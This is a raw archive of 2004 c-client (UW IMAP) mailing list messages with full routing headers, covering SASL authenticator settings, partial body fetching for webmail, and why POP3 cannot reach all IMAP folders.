(8.13.1+UW04.08/8.13.0+UW04.06) with ESMTP id i7H6HnXI019594; Mon, 16 Aug 2004 23:17:49 -0700 Message-Id: Date: Mon, 16 Aug 2004 23:17:49 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: ml Cc: c-client@u.washington.edu Subject: Re: how do disable SASL when compiling imap-2004a? In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 17 Aug 2004, ml wrote: > I understand that USER/PASS is insecure. However, there are [broken] > servers out there which advertise "USER" and "AUTH CRAM-MD5" but in fact > support "USER" only! So, when my c-client enabled stuff doesn't work with > such servers, users would complain since their e-mail clients (e.g. > Outlook) would work. If all you want to do is disable a particular SASL authenticator when it is broken on the server, then just do e.g. mail_parameters (NIL,DISABLE_AUTHENTICATOR,"CRAM-MD5"); to disable CRAM-MD5. This will still permit the use of other SASL authenticators. c-client will never use USER/PASS unless there are no suitable SASL authenticators. You should never do this unilaterally; the user should be required to configure it. In particular, note that by default, modern versions of good POP3 servers disable the USER/PASS commands. So it is *NOT* a good idea to disable SASL and make a client use USER/PASS by default. In fact, it is a terrible idea. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Aug 17 10:21:38 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 17 Aug 2004 10:21:38 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7HHLcaR026384 for ; Tue, 17 Aug 2004 10:21:38 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.0+UW04.06) with ESMTP id i7HHLbFi021489 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 17 Aug 2004 10:21:38 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with SMTP id i7HHKYCk017004; Tue, 17 Aug 2004 10:20:34 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7HHJ54e010232 for ; Tue, 17 Aug 2004 10:19:05 -0700 Received: from hotmail.com (bay2-f33.bay2.hotmail.com [65.54.247.33]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7HHJ4CF022154 for ; Tue, 17 Aug 2004 10:19:04 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 17 Aug 2004 10:01:37 -0700 Received: from 208.251.204.173 by by2fd.bay2.hotmail.msn.com with HTTP; Tue, 17 Aug 2004 17:01:37 GMT Message-Id: Date: Tue, 17 Aug 2004 17:01:37 +0000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Huynh Muoi" To: c-client@u.washington.edu Subject: Modify the time received flag and time sent flag in the MIME header Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-Originating-IP: [208.251.204.173] X-Originating-Email: [ddhuynhmuoi@hotmail.com] X-Sender: ddhuynhmuoi@hotmail.com X-OriginalArrivalTime: 17 Aug 2004 17:01:37.0665 (UTC) FILETIME=[DBCC2710:01C4847B] X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__RCVD_BY_HOTMAIL 0, __HAS_MSN_RCVD_DAV 0, __HAS_MSGID 0, __OUTLOOK_MSGID_2 0, __SANE_MSGID 0, __HAS_MSN_FROM 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __HAS_XOIP 0, __HAS_MSN_ORIG_EMAIL 0, __HAS_XOAT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Dear folks, Is there any way to modify the Recieved and Sent attributes in the MIME header of the message ? Thanks D. H. Muoi _________________________________________________________________ Express yourself instantly with MSN Messenger! Download today - it's FREE! http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Aug 17 17:58:04 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 17 Aug 2004 17:58:04 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7I0w3Y8009385 for ; Tue, 17 Aug 2004 17:58:03 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.0+UW04.06) with ESMTP id i7I0w2DT007375 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 17 Aug 2004 17:58:03 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with SMTP id i7I0uuKA015264; Tue, 17 Aug 2004 17:56:57 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7I0tFqW067268 for ; Tue, 17 Aug 2004 17:55:15 -0700 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxi2.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7I0tCKg013483 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 17 Aug 2004 17:55:13 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout6.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7I0tCiO020498; Tue, 17 Aug 2004 17:55:12 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7I0tCcP019199 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 17 Aug 2004 17:55:12 -0700 Message-Id: Date: Tue, 17 Aug 2004 17:55:33 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Crispin Olson Cc: c-client@u.washington.edu Subject: Re: Question about mail_partial_body/text In-Reply-To: <017501c47aa8$67804350$030aa8c0@PAKORA> References: <017501c47aa8$67804350$030aa8c0@PAKORA> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, __PORN_PHRASE_15_0 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 5 Aug 2004, Crispin Olson wrote: > I've dug around and found a few comments and even some examples of how to > use these functions. However, it begs the question - why do these functions > need callback drivers? Why cant they return the data in a string like the > mail_fetch... functions? The original intent of partial fetching was to permit resource-limited clients to do so without requiring a potentially huge memory buffer. You don't generally want to do a fetch-as-string for a 600MB video file. I don't think that a callback function is all that hard to write. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Aug 17 19:44:22 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 17 Aug 2004 19:44:22 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7I2iMci011694 for ; Tue, 17 Aug 2004 19:44:22 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.0+UW04.06) with ESMTP id i7I2iLJw010697 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 17 Aug 2004 19:44:22 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with SMTP id i7I2h9XF016188; Tue, 17 Aug 2004 19:43:10 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7I2fQaK097522 for ; Tue, 17 Aug 2004 19:41:26 -0700 Received: from smtp02.mrf.mail.rcn.net (smtp02.mrf.mail.rcn.net [207.172.4.61]) by mxe5.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7I2fPi2003120 for ; Tue, 17 Aug 2004 19:41:25 -0700 Received: from 146-115-58-203.c3-0.wtr-ubr1.sbo-wtr.ma.cable.rcn.com ([146.115.58.203] helo=[192.168.10.3]) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1BxGOC-0006ph-00; Tue, 17 Aug 2004 22:41:24 -0400 Message-Id: <4122C1BF.1060108@rcn.com> Date: Tue, 17 Aug 2004 22:41:03 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Crispin Olson To: Mark Crispin Cc: Crispin Olson , c-client@u.washington.edu Subject: Re: Question about mail_partial_body/text In-Reply-To: References: <017501c47aa8$67804350$030aa8c0@PAKORA> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__MOZILLA_MSGID 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, X_ACCEPT_LANG 0, __PORN_PHRASE_15_0 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > On Thu, 5 Aug 2004, Crispin Olson wrote: > >> I've dug around and found a few comments and even some examples of >> how to >> use these functions. However, it begs the question - why do these >> functions >> need callback drivers? Why cant they return the data in a string like >> the >> mail_fetch... functions? > > > > The original intent of partial fetching was to permit resource-limited > clients to do so without requiring a potentially huge memory buffer. > You don't generally want to do a fetch-as-string for a 600MB video file. I understand. And that was *exactly* the reason why I wanted to implement using it. When I said "return a string" I meant a string that was the size of the buffer requested. A PHP script has, by default, 8MB max of memory allocated to it. In a heavily loaded webserver even that is too high. Right now, deploying the popular IMP webmail program requires a memory limit beyond 2x the max attachment size (because the base 64 decode is also done in string memory). Problems arise when someone puts a large attachment in a shared IMAP folder, and a dozen people want to see it at the same time. > > I don't think that a callback function is all that hard to write. > I think the issue was that the documentation on how to use string drivers with mail_partial_body was hard to find - I found some examples from you in postings on another imap list. I've submitted a working patch to PHP-DEV. One thing I did find by experimentation was that the 4th and 5th parameters of "mail_partial_body" aren't start offset and end offset (as the examples suggested), they are start and length (which makes more sense anyway) However to provide the best level of functionality I'd like to be able to hook a body fetch up to a stream handle - that way it can also be hooked through an inline decoding filter/pipe (e.g. base64 or UUencode) and need a trivial amount of inprocess memory to deliver an attachment to a webmail client. I don't suppose theres any direct way to achieve this with C-Client (the string drivers only operate during a call to e.g. mail_fetchbody as far as my reading of the documentation tells me) ? I would need to implement my own internal buffer, and call mail_partial_body as needed to populate it? Any help/advice is much appreciated. Crispin Olson From pinedev@shivax2.cac.washington.edu Sat Aug 21 09:34:41 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 21 Aug 2004 09:34:40 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7LGYesY006132 for ; Sat, 21 Aug 2004 09:34:40 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7LGYecq000783 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 21 Aug 2004 09:34:40 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with SMTP id i7LGXZCu016694; Sat, 21 Aug 2004 09:33:35 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7LGVuEJ014966 for ; Sat, 21 Aug 2004 09:31:56 -0700 Received: from postman.arcor.de (postman2.arcor-online.net [151.189.20.157]) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7LGVsSN027159 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 21 Aug 2004 09:31:56 -0700 Received: from [192.168.0.5] (pD9E3BE27.dip.t-dialin.net [217.227.190.39]) (authenticated bits=0) by postman.arcor.de (8.13.0.PreAlpha4/8.13.0.PreAlpha4) with ESMTP id i7LGVrVM009307 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO) for ; Sat, 21 Aug 2004 18:31:54 +0200 (MEST) Message-Id: <412778F7.8010108@arcor.de> Date: Sat, 21 Aug 2004 18:31:51 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Florian Effenberger To: c-client@u.washington.edu Subject: query all IMAP folders via POP3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Enigmail-Version: 0.84.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Uwash-Spam: Gauge=XI, Probability=11%, Report='X_NJABL_DUL 1, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, X_ACCEPT_LANG 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, RCVD_IN_NJABL_ORG 0, __MOZILLA_MSGID 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi there, is there any option or POP3 server that has the ability to query all IMAP folders via POP3? I don't want to receive only the messages from the Inbox when doing POP3 downloads, but messages from all folders. Is that possible? (I know that the folder structure will not be preserved via POP3.) Thanks Florian -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Aug 21 09:36:20 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 21 Aug 2004 09:36:20 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7LGaKX1006160 for ; Sat, 21 Aug 2004 09:36:20 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.0+UW04.06) with ESMTP id i7LGaJfZ029953 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 21 Aug 2004 09:36:20 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with SMTP id i7LGZJdG008714; Sat, 21 Aug 2004 09:35:19 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7LGYpZp059008 for ; Sat, 21 Aug 2004 09:34:51 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7LGYpoi008107 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 21 Aug 2004 09:34:51 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout5.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7LGYpc2029451; Sat, 21 Aug 2004 09:34:51 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7LGYo4Y020311; Sat, 21 Aug 2004 09:34:50 -0700 Message-Id: Date: Sat, 21 Aug 2004 09:34:50 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Florian Effenberger Cc: c-client@u.washington.edu Subject: Re: query all IMAP folders via POP3 In-Reply-To: <412778F7.8010108@arcor.de> References: <412778F7.8010108@arcor.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sat, 21 Aug 2004, Florian Effenberger wrote: > is there any option or POP3 server that has the ability to query all IMAP > folders via POP3? The short answer is "no". POP3 does not have that capability. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sat Aug 21 09:40:29 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 21 Aug 2004 09:40:29 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7LGeSRk006237 for ; Sat, 21 Aug 2004 09:40:28 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.0+UW04.06) with ESMTP id i7LGeRkq030067 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 21 Aug 2004 09:40:28 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with SMTP id i7LGdabX008546; Sat, 21 Aug 2004 09:39:36 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7LGcTk0092272 for ; Sat, 21 Aug 2004 09:38:29 -0700 Received: from postman.arcor.de (postman4.arcor-online.net [151.189.20.158]) by mxe3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7LGcRuH032402 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 21 Aug 2004 09:38:28 -0700 Received: from [192.168.0.5] (pD9E3BE27.dip.t-dialin.net [217.227.190.39]) (authenticated bits=0) by postman.arcor.de (8.13.0.PreAlpha4/8.13.0.PreAlpha4) with ESMTP id i7LGcLCV017681 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO); Sat, 21 Aug 2004 18:38:22 +0200 (MEST) Message-Id: <41277A7C.1030209@arcor.de> Date: Sat, 21 Aug 2004 18:38:20 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Florian Effenberger To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: query all IMAP folders via POP3 In-Reply-To: References: <412778F7.8010108@arcor.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Enigmail-Version: 0.84.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Uwash-Spam: Gauge=XI, Probability=11%, Report='X_NJABL_DUL 1, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, X_ACCEPT_LANG 0, __MIME_TEXT_ONLY 0, RCVD_IN_NJABL_ORG 0, __MOZILLA_MSGID 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Mark, > The short answer is "no". > POP3 does not have that capability. Any chance that the UW IMAP pop proxy will get this functionality? What I thought about was doing filtering directly on the server via procmail. In order to have webmail and POP3 folders (=local mail program folders) synced a header like X-Folder: Foldername would be good when messages get fetched via POP3 proxy. What do you think about this? Florian From pinedev@shivax2.cac.washington.edu Sat Aug 21 10:11:39 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 21 Aug 2004 10:11:39 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7LHBdA5006897 for ; Sat, 21 Aug 2004 10:11:39 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.0+UW04.06) with ESMTP id i7LHBcDI031103 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 21 Aug 2004 10:11:39 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with SMTP id i7LHA6ji012908; Sat, 21 Aug 2004 10:10:07 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7LH9Khm056212 for ; Sat, 21 Aug 2004 10:09:20 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7LH9Jvh004441 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 21 Aug 2004 10:09:19 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout4.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7LH9JFm029168; Sat, 21 Aug 2004 10:09:19 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7LH9Jk4021135; Sat, 21 Aug 2004 10:09:19 -0700 Message-Id: Date: Sat, 21 Aug 2004 10:09:19 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Florian Effenberger Cc: c-client@u.washington.edu Subject: Re: query all IMAP folders via POP3 In-Reply-To: <41277A7C.1030209@arcor.de> References: <412778F7.8010108@arcor.de> <41277A7C.1030209@arcor.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sat, 21 Aug 2004, Florian Effenberger wrote: > Any chance that the UW IMAP pop proxy will get this functionality? There's always a "chance" that anything can happen. However, some chances are extremely small; and this is one of them. An attempt to make POP3 support multiple IMAP mailboxes is like trying to make an abacus execute a large C program. Yes, with enough contortions and hard work, it can be done. But it's a pointless exercise. The work required (both in software development) and in runtime (each time the POP3 server is run) is substantial. A better use of such resources is in developing an IMAP client. POP3 should be used for the purposes that POP3 was designed to accomplish. If you have IMAP needs, you should use IMAP. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sat Aug 21 10:23:52 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 21 Aug 2004 10:23:52 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7LHNq5c007159 for ; Sat, 21 Aug 2004 10:23:52 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.0+UW04.06) with ESMTP id i7LHNpl6031486 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 21 Aug 2004 10:23:52 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with SMTP id i7LHMhLB016216; Sat, 21 Aug 2004 10:22:43 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7LHLxtn091434 for ; Sat, 21 Aug 2004 10:21:59 -0700 Received: from postman.arcor.de (postman1.arcor-online.net [151.189.20.156]) by mxe3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7LHLwPb005692 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 21 Aug 2004 10:21:59 -0700 Received: from [192.168.0.5] (pD9E3BE27.dip.t-dialin.net [217.227.190.39]) (authenticated bits=0) by postman.arcor.de (8.13.0.PreAlpha4/8.13.0.PreAlpha4) with ESMTP id i7LHLqlf029443 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO); Sat, 21 Aug 2004 19:21:53 +0200 (MEST) Message-Id: <412784AF.3000707@arcor.de> Date: Sat, 21 Aug 2004 19:21:51 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Florian Effenberger To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: query all IMAP folders via POP3 